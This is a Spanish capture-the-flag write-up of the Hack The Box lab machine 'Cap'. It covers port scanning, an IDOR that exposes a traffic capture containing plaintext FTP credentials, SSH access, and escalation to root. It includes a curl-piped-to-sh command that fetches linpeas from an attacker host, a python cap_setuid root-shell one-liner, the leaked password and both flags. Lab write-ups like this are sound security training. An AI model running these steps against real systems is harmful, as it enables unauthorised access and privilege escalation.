Vamos a resolver la máquina Cap de las Máquinas de HTB.
Enumeración#
Primero vamos a escanear por puertos abiertos:
sudo nmap -p- --open -Pn -n -T4 10.10.10.245 -oN discovery
[sudo] password for guerri:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-29 19:47 -03
Nmap scan report for 10.10.10.245
Host is up (0.21s latency).
Not shown: 61577 closed tcp ports (reset), 3955 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 186.64 secondsVemos que los puertos 21, 22 y 80 están abiertos.
Para obtener más información de versiones y servicios corriendo vamos a utilizar las flags -sC y -sV.
sudo nmap -sCV -p 21,22,80 10.10.10.245 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-29 19:52 -03
Nmap scan report for 10.10.10.245
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
...Para obtener algo más de información sobre la web:
whatweb http://10.10.10.245/
http://10.10.10.245/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn], IP[10.10.10.245], JQuery[2.2.4], Modernizr[2.8.3.min], Script, Title[Security Dashboard], X-UA-Compatible[ie=edge]De aquí podemos ver que el título es Security Dashboard, por lo que será algún panel o algo por el estilo.
Si accedemos a la web vemos que es una especie de dashboard con información de monitoreo/red el cual no requiere credenciales de acceso.
Antes de seguir analizando la web, vamos a probar si tiene habilitado el login de FTP con el usuario anonymous, una mala configuración que se puede ver muchas veces.
ftp anonymous@10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failedAl parecer no tiene login con el usuario anonymous.
Volviendo a la página, vemos que en el apartado Security Snapshot + 5 Sec PCAP + Analysis se pueden descargar algunos tipos de pcap que al parecer corresponden a las peticiones que se están haciendo en el momento.
Revisando la ruta de la URL:
Jugando con el valor del parámetro /data/, al parecer el inicio de las capturas comienza en 0.
Y al parecer nuestras capturas empiezan desde el 1, por lo que la 0 no correspondería a tráfico nuestro. Pudiendo manipular el parámetro del /data/ podríamos decir que estamos frente a un IDOR.
IDOR#
Un IDOR (Insecure Direct Object Reference) es una vulnerabilidad de seguridad web en la cual una aplicación expone de forma insegura referencias directas a objetos internos, como identificadores de usuarios, archivos, registros o claves de bases de datos.
Ejemplo típico#
Supongamos que en una aplicación web se accede al perfil con esta URL:
https://ejemplo.com/usuario?id=123
- El usuario con ID
123puede ver su propio perfil. - Pero si cambia manualmente el parámetro a
124, puede ver el perfil de otro usuario:
https://ejemplo.com/usuario?id=124
Si la aplicación no valida la autorización, se expone información sensible de otros usuarios.
Análisis de capturas#
Como dijimos anteriormente, las capturas inician en 0, por lo que vamos a descargar las capturas para ver el contenido que pueden llegar a tener:
Del dashboard vemos además que la captura 0 (http://10.10.10.245/data/0) tiene contenido, en cambio algunas de las capturas a continuación solo tienen una petición.
Abriendo en Wireshark la captura 0.pcap ya podemos ver tráfico que no es nuestro y una conexión por FTP.
Podemos ver un login correcto con usuario nathan y contraseña Buck3tH4TF0RM3!.
FTP#
Vamos a conectarnos nuevamente a FTP y probar las credenciales que vimos en esta captura.
ftp nathan@10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||24871|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1001 1001 46 Aug 29 22:26 file.py
-rwxrwxr-x 1 1001 1001 3104768 May 28 12:32 pspy64
-r-------- 1 1001 1001 33 Aug 29 21:43 user.txt
226 Directory send OK.En user.txt ya tenemos la flag del usuario nathan.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||52330|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |***********************************| 33 362.09 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.16 KiB/s)
ftp> exit
cat user.txt
7280e1928717f09702abccc9da96e43dVamos a tratar de loguearnos por SSH con el usuario obtenido anteriormente:
ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ED25519) to the known hosts.
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
...
Last login: Sat Aug 30 01:16:55 2025 from 10.10.14.11Como vemos pudimos loguearnos correctamente.
Escalada de Privilegios#
Para esto vamos a ejecutar linpeas.sh en la máquina víctima.
Servimos el script desde nuestra máquina atacante:
# Máquina atacante
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.245 - - [29/Aug/2025 23:22:52] "GET /linpeas.sh HTTP/1.1" 200 -Y lo ejecutamos desde la máquina víctima:
# Máquina víctima
curl 10.10.15.74/linpeas.sh | sh
...
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+epComo resultado interesante vemos que el binario python3.8 tiene capabilities, en específico cap_setuid que nos permitiría escalar privilegios.
¿Qué son las Linux Capabilities?#
En Linux, tradicionalmente el root tenía todos los privilegios, y los usuarios normales ninguno. Para hacerlo más granular, el kernel introdujo las capabilities:
- Son permisos específicos que se pueden asignar a procesos o binarios.
- En lugar de “todo o nada”, se pueden dar privilegios concretos.
Ejemplos de capabilities:
CAP_NET_BIND_SERVICE→ permitir a un proceso escuchar en puertos < 1024 sin ser root.CAP_SYS_ADMIN→ la “navaja suiza”, da acceso a muchísimas funciones administrativas.CAP_SETUID→ permite cambiar el UID del proceso (peligroso).CAP_DAC_OVERRIDE→ saltarse permisos de lectura/escritura/ejecución en ficheros.
Para encontrarlos manualmente sin utilizar linpeas.sh:
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+epAhora buscando capabilities en GTFOBins para python, vemos la posibilidad de ejecutar comandos como root utilizando os.setuid(0).
Explotamos ahora la capability para obtener una shell como root:
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
# cd /root
# ls
root.txt snap
# cat root.txt
c9d2dfb8cc41047128562164da57cb8dRepaso#
-
Enumeración inicial
- Puertos abiertos: 21 (FTP), 22 (SSH), 80 (HTTP).
- Web en
:80→ Security Dashboard accesible sin credenciales.
-
Vulnerabilidad web (IDOR)
- El endpoint
/data/{id}permite descargar pcaps manipulando el ID. - IDOR → acceso a capturas de tráfico de otros usuarios.
- El endpoint
-
Explotación del IDOR
- En
http://10.10.10.245/data/0aparece tráfico FTP. - Se observan credenciales: nathan : Buck3tH4TF0RM3!.
- En
-
Acceso inicial (user)
- Credenciales válidas en FTP → acceso a
user.txt. - También permiten login por SSH como
nathan.
- Credenciales válidas en FTP → acceso a
-
Escalada de privilegios (Linux Capabilities)
getcap -r / 2>/dev/nullrevela/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip.cap_setuidpermite cambiar el UID del proceso.- Exploit con GTFOBins:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")' - Shell como root → acceso a
root.txt.
-
Claves de la máquina
- IDOR para filtrar credenciales en tráfico de red.
- Uso indebido de capabilities para escalar privilegios.
- Conceptos: enumeración web, IDOR, FTP, SSH, capabilities (cap_setuid).



